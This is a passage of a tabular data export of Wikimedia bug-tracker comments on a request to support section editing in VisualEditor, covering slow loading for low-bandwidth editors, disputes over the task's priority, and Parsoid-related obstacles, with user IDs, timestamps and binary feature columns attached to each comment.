+> * Editing by section blocks users from editing other areas at the same time
+> that the notice flaws in after they've entered editing, for very limited
+> added-value.
+
+For large articles, I think the added value would be very large indeed. People don't want to wait tens of seconds to make a small correction, and it's likely that VE performance causes many edits to be abandoned.
+
+Perhaps there are other solutions for the performance issue, but it seems to me that this is a fairly obvious approach, especially for bandwidth reduction.
+
+Yes, the existing feature prevents users from editing other sections on the page, which sucks. That could presumably be addressed in VE: a separate content-editable region could be created by each section edit click, to be saved in bulk.",,,1375745889,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,5,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+223231,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"james, we tried your sections within a table example from above here:
+https://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/Known_problems#section_in_a_table
+and we could not create something useful.",,,1375590809,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+223227,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"note blocks section edit
+
+**Attached**: {F10744}",,,1375517586,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+223223,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"upgrading this to ""highest"" as this is the main reason for item 1 (slow loading), item 2 (slow scrolling) and item 6 (no section editing) of https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems. personally i think this should be _the only_ ""immediate"". why?
+
+i tried it at https://en.wikipedia.org/wiki/Jos%C3%A9_Mourinho.
+* 1 click and 15 secs to edit
+* 1 click to make go a away a note (see attachment)
+* 1 click to edit summary
+* 1 click and 20 secs to review changes
+* 1 click to return to save form
+* 1 click and 40 secs to save
+* 5* pg down to go to the section just edited
+
+section edit with the text editor takes:
+* 1 click and 2 secs to open
+* 1 click and 2 secs to preview
+* 1 pg-down to find the save button
+* 1 click and 10 secs to save",,,1375516381,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0
+223219,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"This:
+""but I cannot justify spending donor funds to that extent""
+just turned into:
+""we're hoping to be able to undertake it some time towards the start/middle of next calendar year""
+
+Which sure sounds like a priority change, so I'm not sure if my flag change was psychic-magic or precipitative-magic, but either way, it now seems like the correct priority status.  I've tried communicating other ways:
+https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Section_editing_will_never_be_implemented
+(""Any update from the dev discussion?"") but got no answer, and the known problems page still says ""not planned"".
+
+Anyway, it's good to hear that you are now planning to do this.  I'm sure it will be worth it for low-bandwidth editors.",,,1375369864,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+223215,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #43)
+> I'm upgrading this to ""normal"" since it's listed at #4 on
+> https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems and I'm
+> not
+> seeing any good case for low/lowest made here.
+
+The ""priority"" field doesn't mean ""how much do people want it"", it's ""how soon are the developers likely to get to do it"".
+
+As I explained above, this will require a series of major changes in Parsoid and a huge re-write of MediaWiki's skins system as we switch over to use Parsoid's generated HTML for read pages, and is many (many) months away - we're hoping to be able to undertake it some time towards the start/middle of next calendar year.
+
+Magically changing the status of the priority doesn't make this complex work happen any quicker. There is no value in edit-warring over Bugzilla statuses, so I'm going to leave this as is, but please don't make changes like this.",,,1375301261,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+223212,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I'm upgrading this to ""normal"" since it's listed at #4 on https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems and I'm not seeing any good case for low/lowest made here.",,,1375243706,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0
+223209,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"**joedecker** wrote:
+
+This is quite serious for slow connections.",,,1372953307,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+223203,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Ah, the disappearing double-links are Bug 50731.",,,1372952558,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+223197,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Ah, I see the ""edit|edit source"" links on sections have turned back into just ""edit"" links, which edit the wikitext. Thank you :-)",,,1372936067,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0
+223191,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I appreciate the VE is a hard problem  - but now you have an interface that *lies* to the user. It claims visual section editing is possible, but the PM for the VE has stated this functionality will not be funded.
+
+So, is the interface lying to the user this bug, or should it be a separate bug?
+
+If lying to the user is considered a feature, what is it for?",,,1372922447,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+223185,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Oh, and sorry to be pedantic, but in the original context, ""marginal utility"" was not referring to a specific semi-solution as far as I can see:
+
+>> I don't seem to be able to section edit with VisualEditor.
+> To edit a section, we would need to get its HTML from Parsoid - but a section
+isn't guaranteed to be balanced HTML ...
+> Coming up with a solution to this is would be a significant piece of
+engineering effort for marginal utility.
+
+Thank you for confirming now that you *do* see utility in stopping the waste of bandwidth and slowing of load time.  Even if you think it is too difficult.",,,1372852730,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+223180,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"> the core developers of this are not intending to work on this issue any time soon
+That's exactly what befuddles me, and seems like a poor judgement.  If it's anywhere near as big a task as you envisage, then I can't expect a volunteer to take it up.  So I conclude that realistically it will never be done.
+
+> having the entire document available, but just not editable
+Ok, I agree that would be useless, possibly of negative value. You're right that this is not what I'm asking for.
+
+>Parsoid that loaded and edited only one section at a time would be a mammoth piece of work
+Obviously I'm not a mediawiki programmer, so I speak from ignorance here.  But I don't understand why Parsoid can't just be given a shorter piece of wikitext to parse, along with the section number it is starting at.  Since the old editor is quite capable of serving up a correct section of the wikicode to the user, I don't see why the same wikicode can't be given to Parsoid.  Please can you get a third and fourth opinion on the feasibility of this.  Someone in your team may be able to think of a way around the problems you envisage.
+
+> I've edited Wikipedia (and other wikis) since 2001, including over heroically-terrible connexions
+So have you now also tried VisualEditor on those heroically-terrible connections?  I'm willing to bet that you will feel the weight of this problem.
+
+>I cannot justify spending donor funds
+The whole goal of VisualEditor is to improve accessibility and the editing experience for lower-tech editors right?  Well, the sad truth is that low-tech and globally underrepresented editor communities are strongly correlated with low bandwidth access.  Section editing in a long article gives an order of magnitude speed gain to those editors.  If you cannot do this for the target audience, I fear that VisualEditor will not serve those who need it the most.
+
+I really hope you will discuss this with more people before confining it to the dustbin.",,,1372839855,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+223174,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"
+> Solving what you're actually asking for (a form of VisualEditor/Parsoid that
+> loaded and edited only one section at a time) would be a mammoth piece of
+> work,
+> albeit with some usefuless as you describe.
+> 
+> > James, please try regular editing on a slow connection if you haven't done
+> > this before, I'm pretty sure you'll end up editing the section source.
+> 
+> I've edited Wikipedia (and other wikis) since 2001, including over
+> heroically-terrible connexions through the years; I am very aware of the
+> impact
+> that our current site has on low-bandwidth users, even without VisualEditor,
+> but I cannot justify spending donor funds to that extent when there are more
+> pressing demands on the resources of the VisualEditor team.
+
+My first thought is what were people thinking when they thought that using a visual editor to edit a whole page at a time would not slow things down a lot for many users? I am not a developer though, and hindsight is 20/20. 
+
+Whatever it costs to make a visual editor that edits a section at at time would be worth it. The WMF spends money on far less important things. I have been saying this for years. 
+
+I think millions of dollars more a year should be spent on developer salaries just for the visual editor, and the coordination of vast armies of volunteer developers to work on the visual editor. Another spending priority would be developer money for cross-wiki watchlists.",,,1372837803,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+223168,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #34)
+> I can't believe that section editing is marked as a ""lowest priority""
+> ""enhancement""!
+
+""Enhancement"" means ""the software doesn't do this, and isn't as-written meant to do this""; it's not a judgement on whether it should.
+
+""Lowest priority"" means ""the core developers of this are not intending to work on this issue any time soon""; bugs are always open to other developers coming and working on them, which frequently happens.
+
+""Lowest"" is a very clear way of me marking the bug as something that can be taken up without fear of duplication of work by a developer new to the code. (This is known as avoiding ""cookie licking"".)
+
+> This is incredibly important to me.
+
+I appreciate that it is important to some editors, but I have to balance all requested features, changes and bugs with VisualEditor against one another, and in my judgement this is, relatively, an edge case.
+
+> The way it's currently set up wastes bandwidth and slows load time relative
+> to the old editor. Both of these are important when making a quick-fix edit.
+
+I agree with that; I recommend using the wikitext editor for exactly these use cases by power users if they prefer.
+
+> Hardly ""marginal utility"". 
+
+That specifically refers to finding a solution which you don't want.
+
+A simpler solution - involving having the entire document available, but just not editable except for the section the user asked for - is do-able, but in that case, the benefits you're looking for (low bandwidth, fast loading time, low load on local computers) would not be present; hence, marginal utility.
+
+Solving what you're actually asking for (a form of VisualEditor/Parsoid that loaded and edited only one section at a time) would be a mammoth piece of work, albeit with some usefuless as you describe.
+
+> James, please try regular editing on a slow connection if you haven't done
+> this before, I'm pretty sure you'll end up editing the section source.
+
+I've edited Wikipedia (and other wikis) since 2001, including over heroically-terrible connexions through the years; I am very aware of the impact that our current site has on low-bandwidth users, even without VisualEditor, but I cannot justify spending donor funds to that extent when there are more pressing demands on the resources of the VisualEditor team.
+
+> I'm quite supportive of visual editor in general, but if this is not going
+> to be fixed, I may have to turn back.
+
+I'm sorry that that is the case, and hope that it does not come to that. Sorry if my explanation here is insufficient.",,,1372812826,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,0,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+223164,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I can't believe that section editing is marked as a ""lowest priority"" ""enhancement""!  This is incredibly important to me.  The way it's currently set up wastes bandwidth and slows load time relative to the old editor.  Both of these are important when making a quick-fix edit.  Hardly ""marginal utility"".  James, please try regular editing on a slow connection if you haven't done this before, I'm pretty sure you'll end up editing the section source.  I'm quite supportive of visual editor in general, but if this is not going to be fixed, I may have to turn back.",,,1372805196,,PHID-USER-und42bbibe2hhp4rbyu3,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0
+223160,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,%%%*** Bug 50592 has been marked as a duplicate of this bug. ***%%%,,,1372793232,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+223157,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Just a note (for users not following the other bugs) that we have just merged a change along the lines of bug 49666 - there will be both an ""edit"" and an ""edit source"" link on every section, with the edit link taking the user into VisualEditor, scrolled down to that section.
+
+This enhancement request (to have VE appear just for a section within a wider page) is not impossible, and we're keen to explore what impact it has, but very hard, and blocked on Parsoid's HTML being used as the basis for MW's read pages, so may take some time.",,,1372281418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-1,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+223151,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Related URL: https://gerrit.wikimedia.org/r/69984 (Gerrit Change I4b9c47fd65a700a81c880144247fec524edff7e5),,,1371931754,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223145,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #18)
+> I commented at
+> http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/
+> Feedback#Now_unable_to_edit_sections_by_old_method
+> that it would be ideal to have section-edit links for [edit] and [edit
+> source].
+> 
+>  ie.
+> Sandbox [edit]
+>  replaced with:
+> Sandbox [edit] [edit source]
+> 
+> I believe this would prevent a LOT of complaints in the short term, and it
+> would permit a lot of us to continue being active beta testers
+> (section-editing
+> is my most frequent type of edit), that it should be High priority, if at all
+> possible. Thanks.
+
+I have created this as bug 49666.",,,1371430370,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1
+223138,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #25)
+> It would be wonderful if the ""edit source"" links or icons for sections also
+> showed up inside the Visual Editor. The Visual Editor could treat ""edit
+> source"" links or icons as uneditable links. But the link would still work. So
+> people could click ""edit source"" links or icons to open source editing of a
+> section.
+
+I have created this as bug 49665.",,,1371430207,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+223131,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #20)
+> I read the discussion, and it seems nobody mentioned what i think is the
+> ""real""
+> bug here: we have the ""edit source"" link, that drops you back to wikitext
+> editor. The correct behavior for ve should obviously be to drop you to a
+> section edit if the hser entered edit state through an edit section link. 
+> 
+> Peace.
+
+I have created this as bug 49664.",,,1371429995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,1
+223126,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Bartosz (comment 26). If I am reading bug 43133 right it sounds way too complicated. What I am suggesting is a simple ""edit source"" link to source mode editing of a section. Nothing fancy like floating windows, etc. tied in any way to the Visual Editor. 
+
+One clicks out of the Visual Editor altogether. This means that edits to the source wikitext in a section are treated the same no matter how one got to that wikitext edit window. This avoids integration conflicts, additional edit conflicts, or anything complicated. 
+
+Same for clicking on stuff Visual Editor can't edit. One is sent to source mode for the section where that stuff is found. Nothing more. 
+
+For transcluded templates one still has to go to the bottom of the source-mode edit window for the whole page. That is where the list of transcluded templates is found. It would be nice if one could see such a list at the bottom of source-mode edit windows for sections too.",,,1371347020,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+223119,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Timeshifter, this sounds very much like what is described at bug 43133.",,,1371343969,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+223111,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I like kipod's ideas (comment 22). I think to more fully support section editing means to make it easy to choose either editor at any time. 
+
+Let me explain. If the Bartosz patch is implemented (comment 24), or some variation of it, there will be ""edit"" and ""edit source"" links or icons on every section. 
+
+It would be wonderful if the ""edit source"" links or icons for sections also showed up inside the Visual Editor. The Visual Editor could treat ""edit source"" links or icons as uneditable links. But the link would still work. So people could click ""edit source"" links or icons to open source editing of a section. 
+
+People could go to source mode editing at anytime, even from inside the Visual Editor. That would be so convenient and so useful. 
+
+Later on, this functionality could be extended to anything the Visual Editor can't edit. People could click on templates, tables, etc. inside the Visual Editor and go directly to source mode editing of that section. Or they could right-click templates, tables, etc. to go to a new tab in source mode for that section.",,,1371341581,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+223104,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I submitted the patch above to show two links side-by-side, in the form of ""[edit] [edit source]"", similarly to how the article tabs are done.",,,1371319506,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1
+223099,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Related URL: https://gerrit.wikimedia.org/r/68868 (Gerrit Change I13bbb9549c999bb7301bbcf530706a813184425d),,,1371319421,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223095,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #21)
+> (In reply to comment #20)
+> > I read the discussion, and it seems nobody mentioned what i think is the
+> > ""real""
+> > bug here: we have the ""edit source"" link, that drops you back to wikitext
+> > editor. The correct behavior for ve should obviously be to drop you to a
+> > section edit if the hser entered edit state through an edit section link. 
+> > 
+> 
+> It does do so (in its own way). If you click a section-edit link, it
+> currently
+> enters VE edit-mode, and scrolls down to the section you clicked on, and
+> places
+> the cursor at the beginning of the section-header.
+
+
+no it doesn't. what i meant is that if you click on the ""edit"" section link, and then see something that requires wikitext editing and click ""edit source"", you are dropped into ""old"" editor _for the whole page_. this means that there is no way to execute the old ""section edit"" in the wikitext editor. removing this existing functionality is a regression, and fixing it should be easy.
+
+""fixing it"" meas that if you open the editor through a ""section edit"" link and then press ""edit source"", you will be in the exact same state as someone who has VE disabled and pressed the edit section link.
+
+failing to fix this causes editors to disable VE (i know for a fact that i am not the only one who disabled VE because of this very reason).
+
+peace.",,,1371315010,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+223092,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #20)
+> I read the discussion, and it seems nobody mentioned what i think is the
+> ""real""
+> bug here: we have the ""edit source"" link, that drops you back to wikitext
+> editor. The correct behavior for ve should obviously be to drop you to a
+> section edit if the hser entered edit state through an edit section link. 
+> 
+
